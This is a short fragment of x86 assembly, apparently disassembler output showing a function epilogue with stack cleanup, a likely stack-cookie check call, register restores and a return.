add esp, 0x10
xor ecx, ebp
pop edi
pop esi
call fcn.0068a1f9
mov esp, ebp
pop ebp
ret